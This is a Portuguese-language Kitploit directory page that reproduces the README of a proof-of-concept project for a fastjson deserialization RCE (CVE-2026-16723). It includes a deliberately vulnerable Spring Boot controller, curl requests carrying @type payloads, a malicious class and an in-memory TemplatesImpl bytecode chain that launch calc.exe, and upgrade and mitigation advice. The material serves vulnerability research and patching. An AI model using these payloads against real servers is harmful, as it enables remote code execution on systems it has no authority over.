Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
fastjson-cve — Projeto de reprodução para CVE-2026-16723, uma RCE crítica no fastjson 1.2.68-1.2.83. Demonstra bypass de AutoType, injeção JNDI e payloads em memória TemplatesImpl com endpoints vulneráveis do Spring Boot. | Kitploit
Ferramentas/GitHubGitHub/ipisav/fastjson-cve
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHubipisav/fastjson-cve

fastjson-cve

Projeto de reprodução para CVE-2026-16723, uma RCE crítica no fastjson 1.2.68-1.2.83. Demonstra bypass de AutoType, injeção JNDI e payloads em memória TemplatesImpl com endpoints vulneráveis do Spring Boot.

Ver Repositório
há 10h 58mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Projeto de Reprodução do CVE-2026-16723

Visão Geral

Este projeto reproduz o CVE-2026-16723 — uma vulnerabilidade crítica de Execução Remota de Código (RCE) no fastjson 1.2.68 até 1.2.83. A vulnerabilidade permite RCE sob configuração padrão sem exigir a ativação do AutoType ou gadgets pré-existentes no classpath.

PropriedadeValor
ID do CVECVE-2026-16723
Componentefastjson
Versões Afetadas1.2.68 – 1.2.83
Versões Corrigidas1.2.84+, 2.0.0+
Tipo de VulnerabilidadeDesserialização / RCE
SeveridadeCVSS 3.1: 9.0 (CRÍTICA)
Vetor de AtaqueRede
ComplexidadeBaixa
Privilégios NecessáriosNenhum
Interação do UsuárioNenhuma

Estrutura do Projeto

root@kitploit:~
fastjson-cve-2026-16723/
├── pom.xml                              # Projeto principal (aplicação Spring Boot com fastjson vulnerável)
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # Ponto de entrada do Spring Boot
│   └── controller/
│       └── VulnerableController.java    # Endpoints REST vulneráveis
├── malicious/                           # Módulo separado: JAR malicioso para simulação de supply chain
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # Classe maliciosa com inicializador estático
│       ├── EvilTranslet.java            # Translet malicioso para modo em memória do TemplatesImpl
│       └── GenTemplatesPayload.java     # Gera o payload JSON do TemplatesImpl
├── templates-payload.json               # Payload TemplatesImpl gerado (variante direta)
├── templates-payload-preload.json       # Payload TemplatesImpl gerado (variante de pré-carga de Classe)
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

Detalhes da Vulnerabilidade

Causa Raiz

O fastjson 1.2.68–1.2.83 contém uma bypass no mecanismo de proteção AutoType. Mesmo com configuração padrão (autoTypeSupport=false), atacantes podem instanciar classes arbitrárias via payloads JSON elaborados usando cadeias de exploração como:

  1. java.lang.Class + com.sun.rowset.JdbcRowSetImpl (injeção JNDI)
  2. java.lang.Runtime (execução direta de comandos)
  3. Ataque de supply chain via JAR malicioso no classpath (@type: exploit.MaliciousClass)

Código Vulnerável

VulnerableController.java — dois endpoints demonstram o problema:

root@kitploit:~
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // Vulnerável: JSON.parseObject com configuração padrão
    // Nenhum ParserConfig.getGlobalInstance().setAutoTypeSupport(true) necessário!
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // Força a desserialização para Object — dispara a instanciação real da classe
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

Compilando o Projeto

Pré-requisitos

  • Java 8+
  • Maven 3.6+

Comandos de Compilação

root@kitploit:~
# Compilar a aplicação principal
mvn clean package -DskipTests

# Compilar o JAR malicioso (módulo separado)
cd malicious && mvn clean package && cd ..

Artefatos de Saída

  • target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR fat do Spring Boot
  • malicious/target/malicious-jar-1.0.jar — JAR malicioso com exploit.MaliciousClass

Executando a Aplicação

root@kitploit:~
java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

O servidor inicia em http://localhost:8080

Requisito de runtime: este projeto tem como alvo o Java 8 e o modo em memória do TemplatesImpl é verificado no JDK 8. No JDK 9+ o sistema de módulos bloqueia o acesso reflexivo aos internals de java.xml, então a cadeia falha com Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl a menos que você adicione as flags --add-opens:

root@kitploit:~
java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
     -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Verificar se o Classpath Inclui o JAR Malicioso

O pom.xml principal declara o JAR malicioso como dependência, então ele é empacotado no JAR fat:

root@kitploit:~
<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

Verifique em runtime:

root@kitploit:~
curl http://localhost:8080/api/debug

Testando a Vulnerabilidade

Verificação de Saúde

root@kitploit:~
curl http://localhost:8080/api/test

Esperado: CVE-2026-16723 Reproduction Endpoint Ready...


Ataque de Supply Chain (Classe Maliciosa no Classpath)

O módulo malicious fornece exploit.MaliciousClass com um inicializador estático que executa calc.exe no carregamento da classe.

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

Resultado:

root@kitploit:~
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

E o calc.exe é iniciado no servidor.

Nota: Isso demonstra um cenário de supply chain onde uma dependência maliciosa está presente no classpath. A vulnerabilidade permite a instanciação de qualquer classe no classpath, não apenas classes do JDK.


Modo de Bytecode em Memória (TemplatesImpl, sem servidor externo necessário)

Diferente do modo de supply chain (que precisa da classe maliciosa no classpath) e do modo JNDI (que precisa de um servidor LDAP/RMI), este modo incorpora o bytecode malicioso diretamente no payload e o carrega da memória via com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — nada extra precisa ser implantado.

Passo 1 — gerar o payload:

root@kitploit:~
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

Isso compila exploit.EvilTranslet (uma subclasse de AbstractTranslet cujo inicializador estático executa calc.exe), codifica em base64 os bytes do .class e grava:

  • templates-payload.json — variante direta ("@type": "TemplatesImpl")
  • templates-payload-preload.json — variante de pré-carga de java.lang.Class

Passo 2 — disparar o payload:

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json

Resultado:

root@kitploit:~
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<

E o calc.exe é iniciado no servidor.

⚠️ Descobertas empíricas (verificadas contra fastjson 1.2.83): a cadeia TemplatesImpl não é acionável sob configuração puramente padrão:

  • O payload direto @type é rejeitado pela denyList do AutoType (autoType is not support).
  • A cadeia de pré-carga de java.lang.Class falha por dois motivos: o próprio java.lang.Class está na denyList (autoType is not support. java.lang.Class), e mesmo pré-carregando TemplatesImpl nos mapeamentos internos de classes não contorna a denyList — a bypass de mapeamento da era 1.2.47 foi corrigida no 1.2.83.
  • autoTypeSupport(true) sozinho também não é suficiente: a denyList tem prioridade sobre a flag do autoType.
  • A cadeia só dispara quando a classe é incluída na whitelist via ParserConfig.addAccept(...) (a acceptList tem prioridade sobre a denyList) e Feature.SupportNonPublicField está habilitado (_bytecodes/_name/_tfactory do TemplatesImpl são campos privados).
  • O endpoint /api/deserialize-autotype implementa exatamente essa combinação.
  • Runtime: a cadeia é verificada no JDK 8. No JDK 9+ o sistema de módulos bloqueia o acesso reflexivo aos internals de java.xml, então a criação da instância falha com Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl a menos que as flags da JVM em Executando a Aplicação sejam usadas.

EndpointComportamento
POST /api/parseAnalisa para JSONObject — pode não disparar a desserialização completa para todos os payloads
POST /api/deserializeAnalisa para Object — força a desserialização completa e a instanciação da classe (configuração padrão)
POST /api/deserialize-nonpublicJSON.parse + Feature.SupportNonPublicField — grava campos privados, mas a denyList ainda bloqueia o TemplatesImpl
POST /api/deserialize-autotypeAutoType + addAccept + SupportNonPublicField — dispara a cadeia em memória do TemplatesImpl

Para a exploração da classe maliciosa, /api/deserialize é necessário para acionar o inicializador estático.


Versões Corrigidas

Atualize o fastjson para uma versão corrigida:

root@kitploit:~
<!-- Opção 1: fastjson 1.x (recomendado para usuários da 1.x) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.84</version>
</dependency>

<!-- Opção 2: fastjson 2.x (recomendado para novos projetos) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.0</version>
</dependency>

Mitigação (se a atualização não for imediatamente possível)

root@kitploit:~
// Desabilitar AutoType globalmente (mitigação parcial — cadeias de exploração podem ainda contornar)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// Ou usar safeMode (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);

Referências

  • NVD CVE-2026-16723
  • Alibaba fastjson2 Security Advisory
  • Repositório GitHub do fastjson

⚠️ Aviso Legal

Este projeto é apenas para fins educacionais e de pesquisa em segurança defensiva.

  • Não use contra sistemas que você não possui ou para os quais não tem permissão escrita explícita para testar.
  • O autor não é responsável por qualquer uso indevido, dano ou consequência legal decorrente do uso deste código.
  • Sempre siga práticas de divulgação responsável ao descobrir vulnerabilidades.
  • Esta reprodução usa um payload benigno (calc.exe) para demonstração; explorações reais podem causar danos graves.

Licença

Este projeto é fornecido como está para pesquisa em segurança. Nenhuma garantia expressa ou implícita.

Baixar ferramenta